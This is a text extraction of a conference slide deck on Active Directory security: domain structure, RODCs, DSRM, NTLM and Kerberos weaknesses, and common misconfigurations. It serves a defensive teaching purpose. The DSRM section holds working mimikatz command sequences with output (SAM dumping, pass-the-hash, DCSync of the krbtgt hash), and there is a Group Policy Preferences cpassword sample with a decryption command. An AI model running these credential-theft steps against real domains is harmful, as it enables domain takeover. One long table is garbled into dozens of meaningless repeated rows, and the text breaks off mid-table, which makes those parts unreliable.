Beyond the MCSE: Active Directory for the Security Professional

Sean Metcalf (@Pyrotek3)  
sean [@] TrimarcSecurity.com  
www.ADSecurity.org  
TrimarcSecurity.com
ABOUT

- Founder Trimarc, a security company.
- Microsoft Certified Master (MCM) Directory Services
- Microsoft MVP
- Security Consultant / Security Researcher
- Own & Operate ADSecurity.org (Microsoft platform security info)
- Speaker: Black Hat, BSides, DEF CON, DerbyCon, Shakacon

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
AGENDA

- Key AD details security professionals should know.
- Most common AD Security issues
- Active Directory security enhancements by OS
- Windows 10/2016 Security Features
- Security Pro’s Checklist
Differing Views of Active Directory

• Administrator
• Security Professional
• Attacker

Complete picture is not well understood by any single one of them

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Identity Theft Using Pass-the-Hash Attack

Administrator’s hash was stolen from one of the computers previously logged into by Administrator and used from WIN7/CLIENT-PC.
Attacker

USA 2016

PS C:\Users\joeuser> Get-NetGPOGroup

GPOPath
Filters
GroupName
GroupSID
GroupMemberOf
GroupMembers

\lab.adsecurity.org\SysVol\lab.adsecurity.org\Policies\(E9CABE0F-3A3F-40B1-B4C1-1FA89AC1F212)\Users\joeuser> Get-DecryptedPassword 'RI13B2W12CiOCau1DtrtTe3wFwzCiWB5PSAxDMDstchJt3bL #Super@Secure&Password$2015?
Active Directory Security

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
### Active Directory Users and Computers

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Operators</td>
<td>Security Group</td>
<td>Members can administer domains</td>
</tr>
<tr>
<td>Administrators</td>
<td>Security Group</td>
<td>Administrators have complete control over the directory and its resources</td>
</tr>
<tr>
<td>Backup Operators</td>
<td>Security Group</td>
<td>Backup Operators can own the backups</td>
</tr>
<tr>
<td>Certificate Service DCOM Access</td>
<td>Security Group</td>
<td>Members of this group are responsible for providing DCOM access</td>
</tr>
<tr>
<td>Cryptographic Operators</td>
<td>Security Group</td>
<td>Members are authorized to perform cryptographic operations</td>
</tr>
<tr>
<td>Distributed COM Users</td>
<td>Security Group</td>
<td>Members are allowed to launch COM applications supported by the directory</td>
</tr>
<tr>
<td>Event Log Readers</td>
<td>Security Group</td>
<td>Members of this group can view event logs</td>
</tr>
<tr>
<td>Guests</td>
<td>Security Group</td>
<td>Guests have the same access rights as the Built-in Users</td>
</tr>
<tr>
<td>IIS_IUSRS</td>
<td>Security Group</td>
<td>Built-in group used by Internet Information Services (IIS)</td>
</tr>
<tr>
<td>Incoming Forest Trust Builders</td>
<td>Security Group</td>
<td>Members of this group can manage forest trust</td>
</tr>
<tr>
<td>Network Configuration Operators</td>
<td>Security Group</td>
<td>Members in this group can configure network settings</td>
</tr>
<tr>
<td>Performance Log Users</td>
<td>Security Group</td>
<td>Members of this group are responsible for performance monitoring</td>
</tr>
<tr>
<td>Performance Monitor Users</td>
<td>Security Group</td>
<td>Members of this group can manage performance monitors</td>
</tr>
<tr>
<td>Pre-Windows 2000 Compatible Access</td>
<td>Security Group</td>
<td>A backward compatibility group</td>
</tr>
<tr>
<td>Print Operators</td>
<td>Security Group</td>
<td>Members can administer document printing</td>
</tr>
<tr>
<td>Remote Desktop Users</td>
<td>Security Group</td>
<td>Members in this group can connect to remote desktops</td>
</tr>
<tr>
<td>Service Accounts</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Servers</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Users</td>
<td></td>
<td></td>
</tr>
<tr>
<td>AD Symbol name</td>
<td>Value</td>
<td></td>
</tr>
<tr>
<td>------------------------</td>
<td>--------------------------------------</td>
<td></td>
</tr>
<tr>
<td>ab_cnt_col</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>Ancestors_cnt</td>
<td>02 00 00 00 D6 07 00 00 D7 00 00 D8 07 00 00 90 ...</td>
<td></td>
</tr>
<tr>
<td>ATTh49</td>
<td>5894</td>
<td></td>
</tr>
<tr>
<td>ATTh590606</td>
<td>3372</td>
<td></td>
</tr>
<tr>
<td>ATTh0</td>
<td>65536; 65543; 65542; 65536</td>
<td></td>
</tr>
<tr>
<td>ATTh590692</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>ATTh31073</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>ATTh589383</td>
<td>512</td>
<td></td>
</tr>
<tr>
<td>ATTh589336</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>ATTm58925 &lt;ATT_RDN&gt;</td>
<td>5892</td>
<td></td>
</tr>
<tr>
<td>BCKUPKEY_PREFERRED</td>
<td>5774</td>
<td></td>
</tr>
<tr>
<td>CN, cn</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>CN, obj</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>CN, o</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>CN, b</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>CN, c</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>CN, n</td>
<td>2008</td>
<td></td>
</tr>
<tr>
<td>CN, d</td>
<td>3063</td>
<td></td>
</tr>
<tr>
<td>CN, t</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>CN, p</td>
<td>2008</td>
<td></td>
</tr>
<tr>
<td>CN, x</td>
<td>3372</td>
<td></td>
</tr>
<tr>
<td>CN, y</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>CN, z</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>5892</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>5774</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, o</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, n</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>2008</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3063</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>5892</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>5774</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, o</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, n</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>2008</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3063</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>5892</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>5774</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, o</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, n</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>2008</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3063</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>5892</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>5774</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, o</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, n</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>2008</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3063</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>5892</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>5774</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, o</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, n</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>2008</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3063</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>5892</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>5774</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, o</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, n</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>2008</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3063</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>5892</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>5774</td>
<td></td>
</tr>
<tr>
<td>DN, c</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, o</td>
<td>1</td>
<td></td>
</tr>
<tr>
<td>DN, n</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3</td>
<td></td>
</tr>
<tr>
<td>DN, b</td>
<td>2008</td>
<td></td>
</tr>
<tr>
<td>DN, t</td>
<td>3063</td>
<td></td>
</tr>
<tr>
<td>DN, p</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, x</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, y</td>
<td>3374</td>
<td></td>
</tr>
<tr>
<td>DN, z</td>
<td>3374</td>
<td></td>
</tr>
</tbody>
</table>
UNITED FEDERATION of PLANETS
Admins in One Domain

Can Control Another Domain in the Forest!?!?
On-premises Active Directory

- Authentication, Directory, & Management
- AD Forest for single entity
- Internal corporate network
- Authentication
  - Kerberos
  - NTLM
- LDAP
- Group Policy

Azure AD (Office 365)

- Identity
- Designed for multi-tenant
- Cloud/web-focused
- Authentication
  - SAML 2.0
  - OpenID Connect
  - OAuth 2.0
  - WS-Federation
- REST API: AD Graph API

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Azure AD Domain Services (Preview)
• Active Directory managed by Microsoft in the cloud.
• “DC as a Service”
• Custom names
• Domain-join support
• Integrated with Azure AD
• NTLM & Kerberos auth support
• Group Policy
• Full LDAP support (read/write)
• AD management tools supported

Amazon Hosted Active Directory

• “Simple version” = Samba 4
  • < 5,000 users

• “Premium version” = Microsoft Active Directory
  • > 5,000 users
  • Note: No support for Fine Grained Password Policies

• AD Connector – proxy service
  • Not sync or federation
  • Forwards auth & queries to DCs

https://docs.aws.amazon.com/directoryservice/latest/admin-guide/what_is.html

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Federation

1) Login to domain
2) Access SaaS application
3) Return token for SaaS application
4) Send token to SaaS application
5) Validate token, then use its contents

Data Sync and AD FS Federation

Windows Azure Active Directory

Organization A

Organization B

...
Trust
• Connects domains
• NTLM & Kerberos
• Trusts between internal & external domains = security issue.
• Credential theft potential.

Federation
• Leverages PKI “trust”
• Enables “non-trusted” user access.
• User authenticated locally which creates token used for fed auth.
• Ideal for partner org.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Domain Controllers

• Contains & replicates domain data.
• Provides authentication & directory services.
• Central set of servers for client communication.
• Security settings define AD baseline security.
• Stores the domain AD database (NTDS.dit).
• Hosts the domain DFS root (\domain.com\) & NETLOGON & SYSVOL shares.
• DNS (AD-Integrated)

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
The Global Catalog

• Partial replica of all object for all forest domains.
• GC attribute replication is configurable (PartialAttributeSet).
• Enables quick forest-wide object searches.

Security Note:
Check the attributes included in the PartialAttributeSet.
Read-Only Domain Controllers (RODCs)

- DC services without storing passwords.
- Only receives inbound replication from writable DCs.
- Requires cached passwords for local site authentication.
- Enables delegation of RODC administration to non AD admins.

Use cases:
- Physical security issues.
- Third party software install on DC.
- “Untrusted admin” scenario.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
RODC Attributes

• `msDS-Reveal-OnDemandGroup`
  • “Allowed RODC Password Replication Group”

• `msDS-NeverRevealGroup`
  • “Denied RODC Password Replication Group”

• `msDS-AuthenticatedToAccountList`

• `msDS-RevealedList`
Denied RODC Password Replication Group Membership

- Cert Publishers
- Domain Admins
- Enterprise Administrators
- Schema Admins
- Group Policy Creator Owners
- Krbtgt
- Domain Controllers
- Read Only Domain Controllers

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
DSRM? What’s DSRM?

• Directory Services Restore Mode.
• “Break glass” access to DC.
• DSRM password set when DC is promoted.
• Rarely changed.

Password Change Process?

• Access DSRM without Rebooting (2k8+)
  • DsrmAdminLogonBehavior = 2
  • Console logon
mimikatz(commandline) # token::elevate
Token Id : 0
User name : NT AUTHORITY\SYSTEM
SID name : NT AUTHORITY\SYSTEM S-1-5-18 (04g,20p) Primary
-> Impersonated!
* Process Token : 6752951 ADSECLAB\LukeSkywalker S-1-5-21-1581655573-3923512380-Primary
* Thread Token : 6753692 NT AUTHORITY\SYSTEM S-1-5-18 (04g,20p)

mimikatz(commandline) # lsadump::sam
Domain : ADSDC03
SysKey : 185e91797d952d1f4063395d1c844350
Local SID : S-1-5-21-1065499013-2304935823-602718026
SAMKey : 1f86c3e2b82a9ff24190cc5261a0a9b7

RID : 0000001f4 (500)
User : Administrator
LM : 
NTLM : 7c08d63a2f48f045971bc2236ed3f3ac
Pass-the-Hash with DSRM Account – Success!

```
mimikatz(commandline) # sekurlsa::pth /domain:ADSDC03 /user:Administrator /ntlm:66750645b577b363347c5aa5d5e7d190
user : Administrator
domain : ADSDC03
program : cmd.exe
NTLM : 66750645b577b363347c5aa5d5e7d190
```

- **PID**: 1248
- **TID**: 1856
- **LUID**: 0; 7625112 (00000000:00745998)
- **msv1_0**: data copy @ 000000000019E4130 : OK
- **kerberos**: data copy @ 00000000001A0F148
- **aes256_hmac**: null
- **aes128_hmac**: null
- **rc4_hmac_nt**: OK
- **rc4_hmac_old**: OK
- **rc4_md4**: OK
- **rc4_hmac_nt_exp**: OK
- **rc4_hmac_old_exp**: OK
- **"Password replace**: null

```
C:\Windows\system32>dir \adsc03\c$
Volume in drive \adsc03\c$ has no label.
Volume Serial Number is 6874-598A

Directory of \adsc03\c$

08/22/2013  11:52 AM  <DIR>     PerfLogs
08/22/2013  10:50 AM  <DIR>     Program Files
08/22/2013  11:39 AM  <DIR>     Program Files (x86)
09/06/2015  02:48 PM  <DIR>     Temp
```
DCSync Password Data with DSRM Account!

```
mimikatz(commandline) # sekurlsa::pth /domain:ADSDC03 /user:Administrator /ntlm:66750645b577b363347c5aa5d5e7d190
user : Administrator
domain : ADSDC03
program : cmd.exe
NTLM : 66750645b577b363347c5aa5d5e7d190

mimikatz(commandline) # lsadump::dcsync /domain:lab.adsecurity.org /dc:adsdc03 /user:krbtgt
[DC] 'lab.adsecurity.org' will be the domain
[DC] 'adsdc03' will be the DC server
[DC] 'krbtgt' will be the user account
Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 8/27/2015 10:10:22 PM
Object Security ID : S-1-5-21-1581655573-3923512380-696647894-502
Object Relative ID : 502

Credentials:
Hash NTLM: f46b8b6b6e330689059b825983522d18
ntlm - 0: f46b8b6b6e330689059b825983522d18
lm - 0: ff43293335e630ff672b3e427de437
```
Sites & Subnets

• Map AD to physical locations.
• Defines what DC clients authenticate to & which DC provides GPO data.
• Subnet-Site association for resource discovery.
• Asset discovery:
  • Domain Controllers
  • Exchange Servers
  • SCCM
  • DFS shares

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Objects & Properties

• Objects
  • User
  • Computer
  • Group
  • Organizational Unit (OU)

• Properties (Attributes)
  • Interesting info in ext. attributes
  • Sometimes contain passwords 😊
Fun with User Attributes: SID History

• **SID History** attribute supports migration scenarios.
• Security principals have a SID which determines rights & access to resources.
• Enables access cloning from one account to another.
• Works for SIDs in the same domain & throughout the forest.
Get-ADUser -Filter * -Property

- Created
- Modified
- CanonicalName
- Enabled
- Description
- LastLogonDate
- DisplayName
- AdminCount
- SIDHistory
- PasswordLastSet
- PasswordNeverExpires
- PasswordNotRequired
- PasswordExpired
- SmartcardLogonRequired
- AccountExpirationDate
- LastBadPasswordAttempt
- msExchHomeServerName
- CustomAttribute1 - 50
- ServicePrincipalName
Get-ADComputer -Filter * -Property

- Created
- Modified
- Enabled
- Description
- LastLogonDate (Reboot)
- PrimaryGroupID (516 = DC)
- PasswordLastSet (Active/Inactive)
- CanonicalName
- OperatingSystem
- OperatingSystemServicePack
- OperatingSystemVersion
- ServicePrincipalName
- TrustedForDelegation
- TrustedToAuthForDelegation
Group Policy

• User & computer management
• Create GPO & link to OU
• Comprised of:
  • Group Policy Object (GPO) in AD
  • Group Policy Template (GPT) files in SYSVOL
  • Group Policy Client Side Extensions on clients
• MS15-011 & MS15-014 MiTM Vulnerabilities (MS15-011 requires UNC Hardening GPO)
• Modify GPO or GPT...
YOUR SECURITY ACCESS CONTROLS...

Authentication

GRATEFULLY ACCEPTED

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
NLM Attacks

• SMB Relay - simulate SMB server or relay to attacker system.
• Intranet HTTP NTLM auth – Relay to Rogue Server
• NBNS/LLMNR – respond to NetBIOS broadcasts
• HTTP -> SMB NTLM Relay
• WPAD (network proxy)
• ZackAttack - SOCKS proxy, SMB/HTTP, LDAP, etc
• Pass the Hash (PtH)
“Therefore, applications are generally advised not to use NTLM”

5.1 Security Considerations for Implementers

Implementers need to be aware that NTLM does not support any recent cryptographic methods, such as AES or SHA-256. It uses cyclic redundancy check (CRC) or message digest algorithms ([RFC1321]) for integrity, and it uses RC4 for encryption. Deriving a key from a password is as specified in [RFC1320] and [FIPS46-2]. Therefore, applications are generally advised not to use NTLM.<75>

The NTLM server does not require the NTLM client to send the MIC, but sending the MIC when the timestamp is present greatly increases security. Although implementations of NLMP will work without support for MIC, they will be vulnerable to message tampering.

Kerberos Attacks

• Replay Attacks
• Pass the Ticket
• Over-pass the hash (pass the key)
• Offline (User) Password Cracking (Kerberoast)
• Forged Tickets - Golden/Silver
• Diamond PAC
• MS14-068
MS14-068: (Microsoft) Kerberos Vulnerability

- MS14-068 (CVE-2014-6324) Patch released 11/18/2014
- Domain Controller Kerberos (KDC) Service didn’t correctly validate the PAC checksum.
- Create a Kerberos “Golden Ticket” using a valid AD user account.

http://adsecurity.org/?tag=ms14068
Weaknesses

**NTLM**
- Typically mix of NTLM v1 & v2.
- Encryption: DES or MD4 or HMAC-MD5.
- No mutual authentication.
- Hash used behind the scenes.
- Stolen credentials reusable (until pw changed).
- Credential can be ‘leaked’ via web browser.

**Kerberos**
- Supported encryption types.
- RC4 enc. = NTLM Hash
- Compromise of LTK = compromise of Kerberos.
- Stolen credentials reusable (until ticket expires).
- TGS PAC validation not typically performed.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Microsoft Passport

Microsoft Passport is a two-factor authentication (2FA) system that combines a PIN or biometrics (via Windows Hello) with encrypted keys from a user’s device to provide two-factor authentication.

Microsoft Passport & Active Directory (beta)

• TPM generates user public-private key pair (public key added to AD user attribute).
• User credential device-specific secrets stored in VSM.
• Machine data & user credential info combined & sent to DC for user TGT.
• Cred Guard owns system private key used to get TGT.
Microsoft Passport Active Directory Requirements

• PKI Authentication
  • Windows Server 2012 R2 Domain Controllers
  • Windows Server 2016 schema update
  • Windows Server 2016 ADFS
  • SCCM 2012 R2 SP2+

• Key-based Authentication
  • Same, except: Windows Server 2016 Domain Controllers

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
The Most Common AD Security Issues
... and how to fix them.

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Active Directory’s Security Boundary

• Forest, not Domain.
• Older AD forests have multiple domains for “security”.
• Trusts extend boundary & may introduce exploit paths (http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/)
Microsoft Default Settings

- No security policy = default (minimum).
- DCs need additional security policies (GPO).
- Windows Systems (DC) need to be configured for enhanced auditing (Vista/2008+).
  
  9 -> 53

  `auditpol.exe /get /category:*`

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Unpatched Systems (including DCs)

• Attacks don’t typically use 0-days.
• Unpatched DCs (MS14-068) can result in total forest compromise.
• Rapidly Deploy all “critical” & “important” patches, especially those with a public PoC (~7 – 14 days).
Run Out-dated OS Versions

• Remove old, unsupported operating systems.
• If not, mitigate by isolating systems on the network.
• Newer Windows versions have greatly improved security.
• AD security features are based on DC OS version.

Simple DSRM Password with no Management

• Directory Services Restore Mode (DSRM)
• “Break glass” access to DC (RID 500)
• Console logon w/ DSRM account (Administrator)
• DSRM pw set when DC is promoted
• Rarely changed - Password Change Process?
• Best to synchronize from AD account (2008R2+).

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Over-Permissioned Accounts

• Service Accounts in Domain Admins.
• Accounts in admin groups, just because...
• User accounts in admin groups.
• Computer accounts in admin groups.
• Groups within Groups within Groups...
Admin Groups

• How many Domain Admins do you have?
• What about domain Administrators?
• Enterprise Admins?
• Accounts with domain admin rights?

Are You Sure?

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
<table>
<thead>
<tr>
<th>Object</th>
<th>Security</th>
<th>Attribute Editor</th>
</tr>
</thead>
<tbody>
<tr>
<td>General</td>
<td>Members</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Members**

<table>
<thead>
<tr>
<th>Name</th>
<th>Active Directory Domain Services Folder</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADA Admins</td>
<td></td>
</tr>
<tr>
<td>ADSAdmins</td>
<td>lab.adsecurity.org/AD Management</td>
</tr>
<tr>
<td>LukeSkywalker</td>
<td>lab.adsecurity.org/Users</td>
</tr>
</tbody>
</table>

**Server Admins Properties**

<table>
<thead>
<tr>
<th>Object</th>
<th>Security</th>
<th>Attribute Editor</th>
</tr>
</thead>
<tbody>
<tr>
<td>General</td>
<td>Members</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Members**

<table>
<thead>
<tr>
<th>Name</th>
<th>Active Directory Domain Services Folder</th>
</tr>
</thead>
<tbody>
<tr>
<td>HanSolo</td>
<td>lab.adsecurity.org/AD Management</td>
</tr>
<tr>
<td>Wesley Crusher</td>
<td>lab.adsecurity.org/Accounts</td>
</tr>
</tbody>
</table>
Groups with AD admin rights

• Domain Admins
• Enterprise Admins
• Domain “Administrators”
• Custom Delegation at domain/OU level
• Groups with DC logon rights
Groups with DC Logon Rights (default)

• Account Operators
• Backup Operators
• Print Operators
• Remote Desktop Users (RDP)
• Server Operators
Groups with DC Logon Rights (default)

- Account Operators
- DC Backup Operators
- DC Print Operators
- DC Remote Desktop Users (RDP)
- DC Server Operators
Credentials in SYSVOL

- Authenticated Users have read access to SYSVOL.
- SYSVOL often contains:
  - Files containing passwords.
  - VBS scripts (with passwords).
  - Group Policy Preferences (with credentials).

```xml
<?xml version="1.0" encoding="utf-8" ?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-02-18 01:53:01" uid="{D5F67352-81E1-42A2-B7DA-118402BE4C33}"
- <Properties action="U" newName="ADSAAdmin" fullName="" description=""
  <password="RI133B2Wl2CiiOCau1DtrtTe3wzCiWB5PSAxXMDstchJt3bL0Uie0BaZ/7rdQjuqTonF3ZWAKa1iRvd4JJGQ"
  changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)" expires="2015-02-17" /></Properties>
</User>
</Groups>
```
Custom Group Policy Object (GPO) Delegation
Full Auditing Policy

These groups and users have the specified permission for this GPO

Groups and users:

<table>
<thead>
<tr>
<th>Name</th>
<th>Allowed Permissions</th>
<th>Inherited</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authenticated Users</td>
<td>Read (from Security Filtering)</td>
<td>No</td>
</tr>
<tr>
<td>Domain Admins (ADSEC Lab\Domain Admins)</td>
<td>Edit settings, delete, modify security</td>
<td>No</td>
</tr>
<tr>
<td>Enterprise Admins (ADSEC Lab\Enterprise Admins)</td>
<td>Edit settings, delete, modify security</td>
<td>No</td>
</tr>
<tr>
<td>ENTERPRISE DOMAIN CONTROLLERS</td>
<td>Read</td>
<td>No</td>
</tr>
<tr>
<td>HanSolo (ADSEC Lab\HanSolo)</td>
<td>Edit settings, delete, modify security</td>
<td>No</td>
</tr>
<tr>
<td>SYSTEM</td>
<td>Edit settings, delete, modify security</td>
<td>No</td>
</tr>
</tbody>
</table>
Custom Domain/OU Delegation
<table>
<thead>
<tr>
<th>Type</th>
<th>Principal</th>
<th>Access</th>
<th>Inherited from</th>
<th>Applies to</th>
</tr>
</thead>
<tbody>
<tr>
<td>Deny</td>
<td>Everyone</td>
<td>Special</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
<td>LAPS Password Admins (ADSECLAB\LAP...</td>
<td>Special</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Workstation Admins (ADSECLAB\Work...</td>
<td>Full control</td>
<td>None</td>
<td>Descendant Computer objects</td>
</tr>
<tr>
<td>Allow</td>
<td>Account Operators (ADSECLAB\Account...</td>
<td>Create/delete InetO...</td>
<td>None</td>
<td>This object only</td>
</tr>
<tr>
<td>Allow</td>
